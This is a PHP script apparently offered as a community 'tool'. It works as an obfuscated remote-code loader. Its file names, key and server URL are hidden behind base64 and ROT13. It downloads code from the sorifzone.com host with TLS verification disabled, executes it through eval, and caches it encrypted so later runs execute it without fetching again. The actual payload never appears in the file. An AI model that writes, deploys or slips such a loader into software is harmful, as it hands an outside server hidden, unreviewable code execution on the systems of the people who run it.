<?php
$signature_hash = '8e4b112912e8fb129d0e9fb5ba3750278f6d093fd03e6d6c2db1c0f841f7eedb';
if (hash('sha256', 'This tool was created by Sorif Zone Community') !== $signature_hash) {
    http_response_code(500);
    exit('Error: Invalid signature. Do not modify the code.');
}

function deobfuscate($string) { return str_rot13(base64_decode($string)); }

$cache_dir = __DIR__ . '/cache';
$cache_file = $cache_dir . '/' . deobfuscate('Nzk4NDUxNm9wOTY4cjk2cjcwcXBzN24wNTU3NjFyMDg0bjM4NDg4NTU3OTVxOTM1bzI2NHI1OTA2bnFwNjEyMw==');
$key_file = $cache_dir . '/' . deobfuscate('NzluczUzcTY3Mm4yODg0bjUwNXMxOTMwOXM0NDY0OTVwMzNzN28ycjdubzk5cjk3cjAwcnNwMDU5NzA2NTdvOA==');

if (file_exists($cache_file) && file_exists($key_file)) {
    $encoded_data = file_get_contents($cache_file);
    $local_key = file_get_contents($key_file);
    $server_secret = deobfuscate('OXI4cjg2OTRyNTNwNDc5bzQwcW44bjY0MG9zMnJzb3E=');
    $derived_key = hash('sha256', $local_key . $server_secret);
    $parts = explode('::', base64_decode($encoded_data), 2);
    if (count($parts) === 2) {
        list($encrypted, $iv_encoded) = $parts;
        $iv = base64_decode($iv_encoded);
        $code = openssl_decrypt($encrypted, 'AES-256-CBC', $derived_key, 0, $iv);
        if ($code !== false) {
            eval("?>" . $code);
            exit;
        }
    }
    http_response_code(500);
    exit('Error: Failed to decrypt cached code.');
}

if (!is_dir($cache_dir)) {
    if (!mkdir($cache_dir, 0700, true)) {
        http_response_code(500);
        exit('Error: Failed to create cache directory.');
    }
}

$local_key = bin2hex(random_bytes(16));
$local_iv = openssl_random_pseudo_bytes(16);
$local_iv_encoded = base64_encode($local_iv);
$server_secret = deobfuscate('OXI4cjg2OTRyNTNwNDc5bzQwcW44bjY0MG9zMnJzb3E=');
$derived_key = hash('sha256', $local_key . $server_secret);

$code_id = '04448011d005cd02f877115457532d35';
$api_url = deobfuscate('dWdnY2Y6Ly9mYmV2c21iYXIucGJ6L2diYnkvcXJwZWxjZy5jdWM=');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url . '?code_id=' . $code_id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response && $http_code == 200) {
    $local_encrypted = openssl_encrypt($response, 'AES-256-CBC', $derived_key, 0, $local_iv);
    if ($local_encrypted === false) {
        http_response_code(500);
        exit('Error: Failed to encrypt code.');
    }
    $local_encoded = base64_encode($local_encrypted . '::' . $local_iv_encoded);
    if (!file_put_contents($cache_file, $local_encoded) || !file_put_contents($key_file, $local_key)) {
        http_response_code(500);
        exit('Error: Failed to cache code or key.');
    }
    eval("?>" . $response);
} else {
    http_response_code(500);
    exit('Error: Failed to fetch code. HTTP: ' . $http_code);
}
?>